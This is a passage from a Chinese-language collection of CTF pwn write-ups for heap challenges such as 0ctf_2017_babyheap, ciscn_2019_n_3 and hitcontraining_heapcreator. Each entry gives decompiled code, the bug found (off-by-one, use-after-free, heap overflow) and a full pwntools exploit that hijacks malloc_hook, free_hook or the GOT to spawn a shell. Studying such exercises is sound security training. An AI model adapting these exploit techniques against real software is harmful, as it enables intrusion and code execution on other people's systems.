  signed int v2; // [rsp+Ch] [rbp-14h]
  signed int v3; // [rsp+10h] [rbp-10h]
  unsigned int v4; // [rsp+14h] [rbp-Ch]

  printf("index: ");
  v2 = sub_BE0(v1);
  v3 = v2;
  if ( v2 >= 0 && v2 <= 15 )
  {
    v2 = *((_DWORD *)&unk_202040 + 4 * v2);
    if ( v2 == 1 )
    {
      printf("size: ");
      v2 = sub_BE0(1LL);
      v4 = sub_E26(*((unsigned int *)&unk_202044 + 4 * v3), (unsigned int)v2);
      if ( v2 > 0 )
      {
        printf("content: ");
        v2 = sub_D92(qword_202048[2 * v3], v4);
      }
    }
  }
  return (unsigned int)v2;
}

sub_E26

__int64 __fastcall sub_E26(signed int a1, unsigned int a2)
{
  __int64 result; // rax

  if ( a1 > (signed int)a2 )
    return a2;
  if ( a2 - a1 == 10 )
    LODWORD(result) = a1 + 1;
  else
    LODWORD(result) = a1;
  return (unsigned int)result;
}

当eidt时输入的size比add的size大10时,可以多输入一个字节,造成 off-by-one

free

__int64 sub_F8E()
{
  int v0; // eax
  int v2; // [rsp+Ch] [rbp-14h]
  unsigned int v3; // [rsp+10h] [rbp-10h]
  __int64 v4; // [rsp+10h] [rbp-10h]

  printf("index: ");
  v0 = sub_BE0(v3);
  v4 = v0;
  v2 = v0;
  if ( v0 >= 0LL && v0 <= 15LL )
  {
    v4 = *((signed int *)&unk_202040 + 4 * v0);
    if ( v4 == 1 )
    {
      *((_DWORD *)&unk_202040 + 4 * v0) = 0;
      *((_DWORD *)&unk_202044 + 4 * v0) = 0;
      free((void *)qword_202048[2 * v0]);
      qword_202048[2 * v2] = 0LL;
    }
  }
  return v4;
}

show

__int64 sub_1122()
{
  unsigned int v1; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+0h] [rbp-10h]

  printf("index: ");
  LODWORD(v2) = sub_BE0(v1);
  HIDWORD(v2) = v2;
  if ( (signed int)v2 >= 0 && (signed int)v2 <= 15 )
  {
    LODWORD(v2) = *((_DWORD *)&unk_202040 + 4 * (signed int)v2);
    if ( (_DWORD)v2 == 1 )
    {
      printf("content: ", v2);
      LODWORD(v2) = sub_108E(qword_202048[2 * SHIDWORD(v2)], *((unsigned int *)&unk_202044 + 4 * SHIDWORD(v2)));
    }
  }
  return (unsigned int)v2;
}

参考0x03 [V&N2020 公开赛]simpleHeap,思路一样

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process('./chall')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    one = [0x45216,0x4527a,0xf02a4,0xf1147]
else:
    p = remote('node3.buuoj.cn', 28692)
    libc = ELF('./libc-2.23.so', checksec=False)
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
elf = ELF('./chall', checksec=False)

def add(size):
    p.sendlineafter('choice: ','1')
    p.sendlineafter('size: ', str(size))

def edit(index, size, content):
    p.sendlineafter('choice: ', '2')
    p.sendlineafter('index: ', str(index))
    p.sendlineafter('size: ', str(size))
    p.sendafter('content', content)

def free(index):
    p.sendlineafter('choice: ', '3')
    p.sendlineafter('index: ', str(index))

def show(index):
    p.sendlineafter('choice: ', '4')
    p.sendlineafter('index: ', str(index))

add(0x58) #0
add(0x60) #1
add(0x60) #2
add(0x60) #3
pd = 'a'*0x58 + '\xe1'
edit(0,0x58+0xa,pd)
free(1)
add(0x60)

show(2)
p.recvuntil('content: ')
main_arean = u64(p.recv(6).ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('libc_base = ' + hex(libc_base))

add(0x60)
free(2)
edit(4,0x8,p64(fake_chunk))

add(0x60)
add(0x60)
pd = 'a'*0xb + p64(libc_base + one[1]) + p64(realloc+13) 
edit(5,len(pd),pd)

add(0x60)
p.interactive()

[V&N2020 公开赛]easyTHeap

思路

保护

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
#ubuntu18    

add

signed int sub_AFF()
{
  signed int result; // eax
  int v1; // [rsp+8h] [rbp-8h]
  signed int v2; // [rsp+Ch] [rbp-4h]

  v1 = sub_AB2();
  if ( v1 == -1 )
    return puts("Full");
  printf("size?");
  result = sub_9EA();
  v2 = result;
  if ( result > 0 && result <= 256 )
  {
    qword_202080[v1] = malloc(result);
    if ( !qword_202080[v1] )
    {
      puts("Something Wrong!");
      exit(-1);
    }
    dword_202060[v1] = v2;
    result = puts("Done!");
  }
  return result;
}

分配size<=0x100的chunk

edit

int sub_BEA()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
    exit(0);
  printf("content:");
  read(0, (void *)qword_202080[v1], (unsigned int)dword_202060[v1]);
  return puts("Done!");
}

show

int sub_CA4()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
    exit(0);
  puts((const char *)qword_202080[v1]);
  return puts("Done!");
}

free

int sub_D2C()
{
  signed int v1; // [rsp+Ch] [rbp-4h]

  printf("idx?");
  v1 = sub_9EA();
  if ( v1 < 0 || v1 > 6 || !qword_202080[v1] )
    exit(0);
  free((void *)qword_202080[v1]);
  dword_202060[v1] = 0;
  return puts("Done!");
}

UAF


1.利用两次free泄露heap地址。
2.利用double stack来改写tcache生成的0x251块的记录tcache链个数的值为7,free堆块,泄露libc地址。
3.改写tcache生成的0x251块的记录tcache链地址的值为malloc_hook,改写malloc_hook,拿shell。

libc2.27 1.4已经不可以直接连续free两次了,本地无法调试

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process('./chall')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('node3.buuoj.cn', 25960)
    libc = ELF('./libc-2.27.so', checksec=False)
elf = ELF('./chall', checksec=False)

def add(size):
    p.sendlineafter("choice: ",'1')
    p.sendlineafter("size?",str(size))

def edit(index,content):
    p.sendlineafter('choice: ','2')
    p.sendlineafter("idx?",str(index))
    p.sendlineafter("content:",content)

def show(index):
    p.sendlineafter("choice: ",'3')
    p.sendlineafter("idx?",str(index))

def free(index):
    p.sendlineafter("choice: ",'4')
    p.sendlineafter("idx?",str(index))

add(0x100)#0
add(0x10)#1
free(0)
free(0)
show(0)

heap_addr = u64(p.recv(6).ljust(8,'\x00'))-0x250
add(0x100)#2
edit(2,p64(heap_addr))
add(0x100)#3
add(0x100)#4
edit(4,'\x00'*15 + '\x07')
free(0)
show(0)

libcbase = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebca0
malloc_hook = libcbase + libc.symbols['__malloc_hook']
realloc = libcbase + libc.symbols['realloc']
one_ge=[0x4f2c5,0x4f322,0x10a38c]

edit(4,'\x00'*15+'\x01'+p64(0)*21+p64(malloc_hook-8))
#gdb.attach(p)
print p64(libcbase+one_ge[2])+p64(realloc+4)
#p.interactive()
add(0x100)#5
#gdb.attach(p)
print 'one_ge[2]:'+ str(hex(libcbase+one_ge[2]))
print 'realloc+4:' +str(hex(realloc+4))
edit(5,p64(libcbase+one_ge[2])+p64(realloc+4))
#gdb.attach(p)
add(0x100)

p.interactive()

ciscn_2019_n_3

思路

保护

[*] '/root/CTF/pwn/ciscn_2019_n_3/chall'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
    #ubuntu18

add

int do_new()
{
  int v1; // eax
  int v2; // [esp+0h] [ebp-18h]
  int v3; // [esp+4h] [ebp-14h]
  unsigned int size; // [esp+Ch] [ebp-Ch]

  v2 = ask((int)"Index");
  if ( v2 < 0 || v2 > 16 )
    return puts("Out of index!");
  if ( records[v2] )
    return printf("Index #%d is used!\n", v2);
  records[v2] = (int)malloc(0xCu);
  v3 = records[v2];
  *(_DWORD *)v3 = rec_int_print;
  *(_DWORD *)(v3 + 4) = rec_int_free;
  puts("Blob type:");
  puts("1. Integer");
  puts("2. Text");
  v1 = ask((int)"Type");
  if ( v1 == 1 )
  {
    *(_DWORD *)(v3 + 8) = ask((int)"Value");
  }
  else
  {
    if ( v1 != 2 )
      return puts("Invalid type!");
    size = ask((int)"Length");
    if ( size > 0x400 )
      return puts("Length too long, please buy pro edition to store longer note!");
    *(_DWORD *)(v3 + 8) = malloc(size);
    printf("Value > ");
    fgets(*(char **)(v3 + 8), size, stdin);
    *(_DWORD *)v3 = rec_str_print;
    *(_DWORD *)(v3 + 4) = rec_str_free;
  }
  puts("Okey, got your data. Here is it:");
  return (*(int (__cdecl **)(int))v3)(v3);
}

records[v2]:存储 chunk 的地址

*v3:存储 rec_int_print 函数地址用于打印存储的值和类型。

*(v3 + 4):存储 free 函数地址,用于释放 chunk 。

(v3 + 8):存储用户输入的值,如果值的类型为整数,则直接存在 (v3 + 8) 中,如果值的类型为字符串,则 *(v3 + 8) 存的是字符串的地址。

free

int __cdecl rec_str_free(void *ptr)
{
  free(*((void **)ptr + 2));
  free(ptr);
  return puts("Note freed!");
}

如果值是整数,直接 free chunk 如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。

UAF


创建 chunk 0、chunk 1、chunk 2

利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表。

利用 chunk 1 的 string 对应的 chunk 进行 use after free 将 /bin/sh 写入 chunk 1 的 string chunk 中。

触发 del 函数中的 free(*(ptr + 2)),即执行 system('/bin/sh')

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='i386', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process('./chall')
else:
    p = remote('node3.buuoj.cn', 26995)
elf = ELF('./chall', checksec=False)

def add(idx,type,value,length=0):
    p.recvuntil('CNote > ')
    p.sendline(str(1))
    p.recvuntil('Index > ')
    p.sendline(str(idx))
    p.recvuntil('Type > ')
    p.sendline(str(type))
    if type == 1:
        p.recvuntil('Value > ')
        p.sendline(str(value))
    else:
        p.recvuntil('Length > ')
        p.sendline(str(length))
        p.recvuntil('Value > ')
        if length == 8:
            p.send(value)
        else:
            p.sendline(value)

def free(idx):
    p.recvuntil('CNote > ')
    p.sendline(str(2))
    p.recvuntil('Index > ')
    p.sendline(str(idx))

add(0,2,'a'*10,0x88)#0
add(1,2,'a'*10,0x38)#1
add(2,1,0x41)#2
free(1) 
free(2)

add(3,2,'bash'+p32(elf.plt['system']),0xc) #把 system 的 plt 表地址写入 chunk 1 的 rec_str_free 中
add(4,2,'/bin/sh\x00',0x38)#把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中

free(1)    # free(*(ptr + 2)) 相当于执行 system('/bin/sh')
p.interactive()

ciscn_2019_final_3

思路

保护

[*] '/root/CTF/pwn/ciscn_2019_final_3/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    #ubuntu18

add

unsigned __int64 sub_CE1()
{
  __int64 v0; // rax
  __int64 v1; // rax
  int v2; // ebx
  __int64 v3; // rax
  size_t size; // [rsp+0h] [rbp-20h]
  unsigned __int64 v6; // [rsp+8h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, (char *)&size + 4);
  if ( qword_2022A0[HIDWORD(size)] || HIDWORD(size) > 0x18 )
    exit(0);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "input the size");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &size);
  if ( (unsigned int)size <= 0x78 )
  {
    v2 = HIDWORD(size);
    qword_2022A0[v2] = malloc((unsigned int)size);
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "now you can write something");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    sub_CBB(qword_2022A0[HIDWORD(size)], (unsigned int)size);
    puts("OK!");
    printf("gift :%p\n", qword_2022A0[HIDWORD(size)]);
  }
  return __readfsqword(0x28u) ^ v6;
}

只能申请小于0x78大小的chunk,不能超过24个,题目给了申请到内存空间的地址

free

unsigned __int64 sub_E73()
{
  __int64 v0; // rax
  unsigned int v2; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input the index");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  std::istream::operator>>(&std::cin, &v2);
  if ( v2 > 0x18 )
    exit(0);
  free((void *)qword_2022A0[v2]);
  return __readfsqword(0x28u) ^ v3;
}

UAF


利用uaf漏洞,指向一个堆的size域,修改为0x400以上,在delete就可以进入unsorted bin中,泄露libc地址

劫持free_hook函数,libc2.27 1.4 更新完了没有dup,本地打不了

EXP

# encoding=utf-8
from pwn import *
#context.log_level = 'debug'

#p = process("./chall")
p = remote("node3.buuoj.cn",28417)
elf = ELF("./chall")
libc = ELF("./libc.so.6")
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,size,content):
  p.sendlineafter('choice > ',str(1))
  p.sendlineafter('input the index\n',str(index))
  p.sendlineafter('input the size\n',str(size))
  p.sendlineafter('something\n',content)
  p.recvuntil("gift :")
  ptr = int(p.recv(14),16)
  print index,":",hex(ptr)
  return ptr

def remove(index):
  p.sendlineafter('choice > ',str(2))
  p.sendlineafter('input the index\n',str(index))

ptr0 = add(0,0x50,'a'*0x10)
add(1,0x70,'b'*0x10)
add(2,0x70,'c'*0x10)
add(3,0x50,'/bin/sh\x00')
add(4,0x10,'d'*0x10)

remove(0)
remove(0)
add(5,0x50,p64(ptr0-0x11e60))
add(6,0x50,'\x10')
add(7,0x50,'\x05'+'a'*3+'\x03'+'a'*(0x40-5)+p64(ptr0+0x50))
add(8,0x10,p64(0)+p64(0x101))

remove(0)
remove(0)
remove(1)#unsortedbin
add(9,0x50,p64(ptr0+0x60))
add('10',0x50,'\xd0')
add('11',0x50,'\xa0')
main_arena_addr = add('12',0x50,'\x50')-96
libc_base = main_arena_addr - libc.sym['__malloc_hook'] - 0x10
malloc_hook_addr = main_arena_addr-0x10
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x4f3c2
sys_addr = libc_base + libc.sym['system']

remove(0)
remove(0)
add('13',0x50,p64(free_hook))
add('14',0x50,'\11')
add('15',0x50,p64(sys_addr))
p.recvuntil("choice > ")
p.sendline('2')
p.sendlineafter("input the index\n",'3')
p.interactive()

hitcontraining_magicheap

思路

保护

[*] '/root/CTF/Pwn/hitcontraining_magicheap/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    #ubuntu16

add

unsigned __int64 create_heap()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
  size_t size; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

heaparray 数组:存放 chunk 的首地址。

edit

int edit_heap()
{
  __int64 v1; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+8h] [rbp-8h]

  printf("Index :");
  read(0, (char *)&v1 + 4, 4uLL);
  LODWORD(v1) = atoi((const char *)&v1 + 4);
  if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[(signed int)v1] )
    return puts("No such heap !");
  printf("Size of Heap : ", (char *)&v1 + 4, v1);
  read(0, (char *)&v1 + 4, 8uLL);
  v2 = atoi((const char *)&v1 + 4);
  printf("Content of heap : ", (char *)&v1 + 4, v1);
  read_input(heaparray[(signed int)v1], v2);
  return puts("Done !");
}

可以选择输入大小。如果我们这次输入的 size 比创建时大的话,就会导致堆溢出

free

int delete_heap()
{
  int v1; // [rsp+8h] [rbp-8h]
  char buf; // [rsp+Ch] [rbp-4h]

  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( !heaparray[v1] )
    return puts("No such heap !");
  free(heaparray[v1]);
  heaparray[v1] = 0LL;
  return puts("Done !");
}

释放对应 index 的 chunk

main

if ( v5 > 3 )
    {
      if ( v5 == 4 )
        exit(0);
      if ( v5 == 4869 )
      {
        if ( (unsigned __int64)magic <= 0x1305 )
        {
          v4 = "So sad !";
          puts("So sad !");
        }
        else
        {
          v4 = "Congrt !";
          puts("Congrt !");
          l33t();
        }
      }

magic 为在 bss 段的全局变量,如果我们能够控制 v5 为 4849 并且覆写 magic 使其值大于 0x1305 ,就能 get shell

l33t

int l33t()
{
  return system("/bin/sh");
}

unsorted bin attack 覆盖 magic 为一个很大的值

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('node3.buuoj.cn', 29310)
elf = ELF('./chall', checksec=False)

def add(size,content):
    p.recvuntil(':')
    p.sendline('1')
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(content)

def edit(idx,size,content):
    p.recvuntil(':')
    p.sendline('2')
    p.recvuntil(':')
    p.sendline(str(idx))
    p.recvuntil(':')
    p.sendline(str(size))
    p.recvuntil(':')
    p.sendline(content)

def free(idx):
    p.recvuntil(':')
    p.sendline('3')
    p.recvuntil(':')
    p.sendline(str(idx))

magic = 0x6020a0
target = magic - 0x10

add(0x100,'aaaa') #0
add(0x100,'bbbb') #1
add(0x100,'cccc') #2
free(1)

pd = 'a' * 0x100 + p64(0) + p64(0x111) + p64(0) + p64(target)
edit(0,0x200,pd)
add(0x100,'aaaa') #0
p.recvuntil(':')
p.sendline('4869')

p.interactive()

hitcontraining_heapcreator

思路

保护

[*] '/root/CTF/Pwn/hitcontraining_heapcreator/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    #ubuntu18

add

unsigned __int64 create_heap()
{
  _QWORD *v0; // rbx
  signed int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      heaparray[i] = malloc(0x10uLL);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      v0 = heaparray[i];
      v0[1] = malloc(size);
      if ( !*((_QWORD *)heaparray[i] + 1) )
      {
        puts("Allocate Error");
        exit(2);
      }
      *(_QWORD *)heaparray[i] = size;
      printf("Content of heap:", &buf);
      read_input(*((_QWORD *)heaparray[i] + 1), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

先创建了0x10的堆,用来存放size和指向content的指针。

edit

unsigned __int64 edit_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Content of heap : ", &buf);
    read_input(*((_QWORD *)heaparray[v1] + 1), *(_QWORD *)heaparray[v1] + 1LL);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

off-by-one

free

unsigned __int64 delete_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    free(*((void **)heaparray[v1] + 1));
    free(heaparray[v1]);
    heaparray[v1] = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

show

unsigned __int64 show_heap()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, &buf, 4uLL);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v1] )
  {
    printf("Size : %ld\nContent : %s\n", *(_QWORD *)heaparray[v1], *((_QWORD *)heaparray[v1] + 1));
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

将size和指向content的指针打印出来。


单字节溢出,造成堆重叠, free_got写到content处,然后show打印出free_got地址,再将free_got改写为system

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('node3.buuoj.cn', 29310)
    libc = ELF('./libc-2.23.so')
elf = ELF('./chall', checksec=False)

def add(size,content):
    p.recvuntil('choice :')
    p.sendline('1')
    p.recvuntil('Heap : ')
    p.sendline(str(size))
    p.recvuntil('heap:')
    p.sendline(content)

def edit(idx,content):
    p.recvuntil('choice :')
    p.sendline('2')
    p.recvuntil(' :')
    p.sendline(str(idx))
    p.recvuntil('heap :')
    p.sendline(content)

def show(idx):
    p.recvuntil('choice :')
    p.sendline('3')
    p.recvuntil(' :')
    p.sendline(str(idx))

def free(idx):
    p.recvuntil('choice :')
    p.sendline('4')
    p.recvuntil(' :')
    p.sendline(str(idx))

add(0x18,'aaaa')
add(0x10,'bbbb')
add(0x10,'cccc')
edit(0,'/bin/sh\x00'+'a'*0x10+'\x81')
free(1)
gdb.attach(p)
add(0x70,'p'*0x10+p64(0)+p64(0x21)+p64(0x70)+p64(elf.got['free']))

show(1)
free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']

edit(1,p64(system_addr))
free(0)

p.interactive()

0ctf_2017_babyheap

思路

保护

[*] '/root/CTF/Pwn/0ctf_2017_babyheap/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    #ubuntu16

add

void __fastcall sub_D48(__int64 a1)
{
  signed int i; // [rsp+10h] [rbp-10h]
  signed int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

edit

__int64 __fastcall sub_E7F(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = sub_138C();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

没有检查size,size可以为任意值。造成堆溢出。

free

signed __int64 __fastcall sub_F50(__int64 a1)
{
  signed __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
  }
  return result;
}

show

int __fastcall sub_1051(__int64 a1)
{
  int result; // eax
  int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  result = sub_138C();
  v2 = result;
  if ( result >= 0 && result <= 15 )
  {
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
  }
  return result;
}

chunk overlapping,这样我们只要吧chunk1给释放掉就可以泄露unsorted bin 的地址了

利用fastbin attack,修改malloc_hook为one_gadget

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
    one = [0x45226,0x4527a,0xf0364,0xf1207]
else:
    p = remote('node3.buuoj.cn', 25086)
    libc = ELF('./libc-2.23.so', checksec=False)
    one = [0x45216,0x4526a,0xf02a4,0xf1147]
elf = ELF('./chall', checksec=False)

def add(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('Size: ')
    p.sendline(str(size))

def edit(idx,size,content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(idx))
    p.recvuntil('Size: ')
    p.sendline(str(size))
    p.recvuntil('Content: ')
    p.sendline(content)

def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

def show(idx):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(idx))

add(0x58) #0
add(0x60) #1
add(0x60) #2
add(0x60) #3
pd = 'a'*0x58 + '\xe1'
edit(0,len(pd),pd)
free(1)
add(0x60)

show(2)
p.recvuntil('Content: ')
main_arean = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x58
libc_base = main_arean - 0x3c4b20
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['__libc_realloc']
fake_chunk = malloc_hook - 0x23
success('main_arean = ' + hex(main_arean))
success('libc_base = ' + hex(libc_base))

add(0x60)
free(2)
edit(4,0x8,p64(fake_chunk))

add(0x60)
add(0x60)
pd = 'a'*0x13 + p64(libc_base + one[1])
edit(5,len(pd),pd)

add(0x60)
p.interactive()

hitcontraining_bamboobox

思路

保护

[*] '/root/CTF/Pwn/hitcontraining_bamboobox/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    #Ubuntu16

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _QWORD *v3; // [rsp+8h] [rbp-18h]
  char buf; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  v3 = malloc(0x10uLL);
  *v3 = hello_message;
  v3[1] = goodbye_message;
  ((void (__fastcall *)(signed __int64, _QWORD))*v3)(16LL, 0LL);
  while ( 1 )
  {
    menu();
    read(0, &buf, 8uLL);
    switch ( atoi(&buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        ((void (__fastcall *)(char *, char *))v3[1])(&buf, &buf);
        exit(0);
        return;
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

先创建一个0x10大小的堆,用来存放hello和goodbye。

exit之前会先调用goodbye

add

__int64 add_item()
{
  signed int i; // [rsp+4h] [rbp-1Ch]
